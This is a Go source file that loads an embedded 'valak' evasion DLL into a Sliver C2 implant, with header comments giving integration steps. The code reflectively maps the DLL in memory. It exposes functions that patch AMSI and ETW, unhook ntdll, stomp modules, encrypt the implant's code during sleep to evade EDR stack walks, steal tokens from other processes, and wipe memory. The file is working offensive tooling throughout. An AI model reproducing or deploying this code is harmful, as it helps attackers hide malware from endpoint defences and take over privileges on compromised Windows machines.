//go:build evasion && windows

// Go bridge for the Valak evasion DLL. Embeds the compiled valak.dll, reflectively
// loads it into the current process, resolves exports, and provides clean Go functions.
//
// Integration with Sliver:
//   1. Copy this package into implant/sliver/evasion/valak/
//   2. In your Sliver implant init, call: valak.Start()
//   3. Replace time.Sleep(d) with: valak.EvasionSleep(d)
//
// The DLL handles: RC4 .text encryption, NtDelayExecution via indirect syscall,
// stack return-address zeroing, and all other evasion in the background.
package valak

import (
	"encoding/binary"
	"fmt"
	"log"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

var (
	dllBase        uintptr
	dllLoaded      bool
	procInit       uintptr
	procSleep      uintptr
	procPatchETW   uintptr
	procPatchAMSI  uintptr
	procUnhookNtdll uintptr
	procStomp      uintptr
	procIsRelocated uintptr
	procInitText   uintptr
	procUnpatchAMSI uintptr
	procUnpatchETW  uintptr
	procWipeMemory  uintptr
	procStealToken  uintptr
	procRev2self    uintptr
)

const (
	memCommit       = 0x00001000
	memReserve      = 0x00002000
	pageReadwrite   = 0x04
	pageExecuteRead = 0x20
	pageExecReadwrite = 0x40
	dllProcessAttach = 1

	imageDosSignature = 0x5A4D
	imageNTSignature  = 0x00004550
)

type imageDOSHeader struct {
	E_magic  uint16
	_        [58]byte
	E_lfanew uint32
}

type imageFileHeader struct {
	_                    [2]byte
	NumberOfSections     uint16
	_                    [12]byte
	SizeOfOptionalHeader uint16
	_                    [2]byte
}

type imageDataDirectory struct {
	VirtualAddress uint32
	Size           uint32
}

type imageOptionalHeader64 struct {
	_                   [16]byte
	AddressOfEntryPoint uint32
	BaseOfCode          uint32
	ImageBase           uint64
	SectionAlignment    uint32
	FileAlignment       uint32
	_                   [16]byte
	SizeOfImage         uint32
	SizeOfHeaders       uint32
	_                   [48]byte
	DataDirectory       [16]imageDataDirectory
}

type imageNTHeaders64 struct {
	Signature      uint32
	FileHeader     imageFileHeader
	OptionalHeader imageOptionalHeader64
}

type imageSectionHeader struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}

type imageExportDirectory struct {
	_                     [12]byte
	_                     [4]byte
	_                     [4]byte
	NumberOfFunctions     uint32
	NumberOfNames         uint32
	AddressOfFunctions    uint32
	AddressOfNames        uint32
	AddressOfNameOrdinals uint32
}

// loadDLL reflectively loads the embedded valak.dll. No file on disk, no
// LoadLibrary callback, no PEB module list entry.
func loadDLL() error {
	data := embeddedDLL
	if len(data) == 0 {
		return fmt.Errorf("no embedded DLL")
	}

	dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0]))
	if dosHeader.E_magic != imageDosSignature {
		return fmt.Errorf("invalid DOS header")
	}

	ntOffset := dosHeader.E_lfanew
	ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
	if ntHeader.Signature != imageNTSignature {
		return fmt.Errorf("invalid NT header")
	}

	imageBase := ntHeader.OptionalHeader.ImageBase
	sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
	sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders)

	base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite)
	if err != nil {
		return fmt.Errorf("VirtualAlloc: %w", err)
	}
	dllBase = base

	copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders])

	sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
	sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections)
	for i := range sections {
		sec := &sections[i]
		if sec.SizeOfRawData == 0 {
			continue
		}
		dst := base + uintptr(sec.VirtualAddress)
		if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
			continue
		}
		srcOff := uintptr(sec.PointerToRawData)
		if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
			continue
		}
		copy(
			unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData),
			unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData),
		)
	}

	delta := int64(base) - int64(imageBase)
	if delta != 0 {
		applyRelocations(data, base, delta, ntHeader)
	}

	resolveImports(data, base, ntHeader)

	for i := range sections {
		sec := &sections[i]
		if sec.VirtualAddress == 0 {
			continue
		}
		addr := base + uintptr(sec.VirtualAddress)
		prot := sectionProtect(sec.Characteristics)
		var old uint32
		windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
	}

	resolveExports(data, base, ntHeader)

	entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
	if entry != base {
		syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
	}

	if procInit != 0 {
		syscall.SyscallN(procInit)
	}

	log.Printf("[valak] DLL reflectively loaded (%d bytes)", len(data))
	dllLoaded = true
	return nil
}

func sectionProtect(chars uint32) uint32 {
	switch {
	case chars&0x20000000 != 0 && chars&0x80000000 != 0:
		return pageExecReadwrite
	case chars&0x20000000 != 0:
		return pageExecuteRead
	default:
		return pageReadwrite
	}
}

func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
	relocDir := ntHeader.OptionalHeader.DataDirectory[5]
	if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
		return
	}
	relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
	off := uintptr(0)
	for off < uintptr(relocDir.Size) {
		blockVA := binary.LittleEndian.Uint32(relocData[off:])
		blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
		if blockSize == 0 {
			break
		}
		entries := (blockSize - 8) / 2
		for e := uint32(0); e < entries; e++ {
			entryOff := off + 8 + uintptr(e*2)
			entry := binary.LittleEndian.Uint16(relocData[entryOff:])
			relocType := entry >> 12
			relocOff := entry & 0xFFF
			if relocType == 0 {
				continue
			}
			addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
			if relocType == 10 {
				val := (*uint64)(addr)
				*val = uint64(int64(*val) + delta)
			}
		}
		off += uintptr(blockSize)
	}
}

func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
	exportDir := ntHeader.OptionalHeader.DataDirectory[0]
	if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
		return
	}
	exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
	names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
	funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
	ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)

	lookup := func(name string) uintptr {
		for i := uint32(0); i < exp.NumberOfNames; i++ {
			fnName := goString(base + uintptr(names[i]))
			if fnName == name {
				if uint32(ords[i]) < exp.NumberOfFunctions {
					return base + uintptr(funcs[ords[i]])
				}
			}
		}
		return 0
	}

	procInit = lookup("init_evasion")
	procSleep = lookup("evasion_sleep")
	procPatchETW = lookup("patch_etw")
	procPatchAMSI = lookup("patch_amsi")
	procUnhookNtdll = lookup("unhook_ntdll")
	procStomp = lookup("stomp_evasion")
	procIsRelocated = lookup("is_relocated")
	procInitText = lookup("init_text_region")
	procUnpatchAMSI = lookup("unpatch_amsi")
	procUnpatchETW = lookup("unpatch_etw")
	procWipeMemory = lookup("wipe_memory")
	procStealToken = lookup("steal_token")
	procRev2self = lookup("rev2self")
}

type imageImportDescriptor struct {
	OriginalFirstThunk uint32
	_                  uint32
	_                  uint32
	Name               uint32
	FirstThunk         uint32
}

func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
	importDir := ntHeader.OptionalHeader.DataDirectory[1]
	if importDir.VirtualAddress == 0 || importDir.Size == 0 {
		return
	}
	modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
	procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
	procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
	procGetProcAddress := modKernel32.NewProc("GetProcAddress")

	desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
	descSize := uintptr(unsafe.Sizeof(*desc))
	for desc.Name != 0 {
		dllName := goString(base + uintptr(desc.Name))
		hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
		if hMod == 0 {
			hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
		}
		if hMod == 0 {
			desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
			continue
		}
		thunkRVA := desc.OriginalFirstThunk
		if thunkRVA == 0 {
			thunkRVA = desc.FirstThunk
		}
		thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
		iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
		step := uintptr(8)
		for *thunk != 0 {
			var fnAddr uintptr
			if *thunk&(1<<63) != 0 {
				ordinal := uintptr(*thunk & 0xFFFF)
				fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
			} else {
				nameRVA := uint32(*thunk & 0x7FFFFFFF)
				fnName := goString(base + uintptr(nameRVA) + 2)
				fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
			}
			*iat = uint64(fnAddr)
			thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
			iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
		}
		desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
	}
}

// goString reads a null-terminated ASCII string from the DLL's mapped memory.
// Reads one byte at a time to avoid page-boundary overread.
func goString(addr uintptr) string {
	var b [256]byte
	for i := range b {
		c := *(*byte)(unsafe.Pointer(addr + uintptr(i)))
		if c == 0 {
			return string(b[:i])
		}
		b[i] = c
	}
	return string(b[:])
}

// ---- Public API ----

// Start loads the DLL and patches AMSI/ETW. Call once at implant init.
func Start() { go loadDLL() }

// EvasionSleep replaces time.Sleep with RC4-encrypted sleep + callstack spoofing.
// During sleep: Go .text + DLL .text encrypted via SystemFunction032. Stack return
// address zeroed so EDR frame walks terminate below us. Wake: decrypt, restore return
// address, return cleanly.
func EvasionSleep(d time.Duration) {
	ms := uint32(d.Milliseconds())
	if dllLoaded && procSleep != 0 {
		syscall.SyscallN(procSleep, uintptr(ms))
		return
	}
	time.Sleep(d) // fallback
}

// InitText tells the DLL where our Go implant's .text lives for RC4 encryption.
func InitText() {
	if dllLoaded && procInitText != 0 {
		if base, size := findOwnTextSection(); size > 0 {
			syscall.SyscallN(procInitText, base, size)
		}
	}
}

// PatchAll runs the full evasion init: stomp -> unhook -> ETW -> AMSI.
// Sliver typically calls this in an init goroutine after Start().
func PatchAll() {
	if !dllLoaded {
		return
	}
	if procStomp != 0 {
		syscall.SyscallN(procStomp, dllBase)
		if procIsRelocated != 0 {
			r, _, _ := syscall.SyscallN(procIsRelocated)
			if r != 0 {
				log.Printf("[valak] module stomped")
			}
		}
	}
	if procUnhookNtdll != 0 {
		syscall.SyscallN(procUnhookNtdll)
		log.Printf("[valak] ntdll unhooked")
	}
	if procPatchETW != 0 {
		syscall.SyscallN(procPatchETW)
		log.Printf("[valak] ETW patched")
	}
	if procPatchAMSI != 0 {
		syscall.SyscallN(procPatchAMSI)
		log.Printf("[valak] AMSI patched")
	}
	InitText()
}

func StealToken(pid uint32) bool {
	if procStealToken == 0 {
		return false
	}
	r, _, _ := syscall.SyscallN(procStealToken, uintptr(pid))
	return r != 0
}

func Rev2self() bool {
	if procRev2self == 0 {
		return false
	}
	r, _, _ := syscall.SyscallN(procRev2self)
	return r != 0
}

// Cleanup undoes patches and zeros DLL memory.
func Cleanup() {
	if !dllLoaded {
		return
	}
	if procUnpatchAMSI != 0 {
		syscall.SyscallN(procUnpatchAMSI)
	}
	if procUnpatchETW != 0 {
		syscall.SyscallN(procUnpatchETW)
	}
	if procWipeMemory != 0 {
		syscall.SyscallN(procWipeMemory)
	}
}

// findOwnTextSection walks the main executable's PE headers to find .text bounds.
func findOwnTextSection() (uintptr, uintptr) {
	procGMH := windows.NewLazySystemDLL("kernel32.dll").NewProc("GetModuleHandleW")
	base, _, _ := procGMH.Call(0)
	if base == 0 {
		return 0, 0
	}
	dos := (*imageDOSHeader)(unsafe.Pointer(base))
	if dos.E_magic != imageDosSignature {
		return 0, 0
	}
	nt := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dos.E_lfanew)))
	if nt.Signature != imageNTSignature {
		return 0, 0
	}
	sectionOffset := dos.E_lfanew + 4 + 20 + uint32(nt.FileHeader.SizeOfOptionalHeader)
	for i := uint16(0); i < nt.FileHeader.NumberOfSections; i++ {
		sec := (*imageSectionHeader)(unsafe.Pointer(base + uintptr(sectionOffset) + uintptr(i)*40))
		if sec.Name[0] == '.' && sec.Name[1] == 't' && sec.Name[2] == 'e' && sec.Name[3] == 'x' && sec.Name[4] == 't' && sec.Name[5] == 0 {
			return base + uintptr(sec.VirtualAddress), uintptr(sec.VirtualSize)
		}
	}
	return 0, 0
}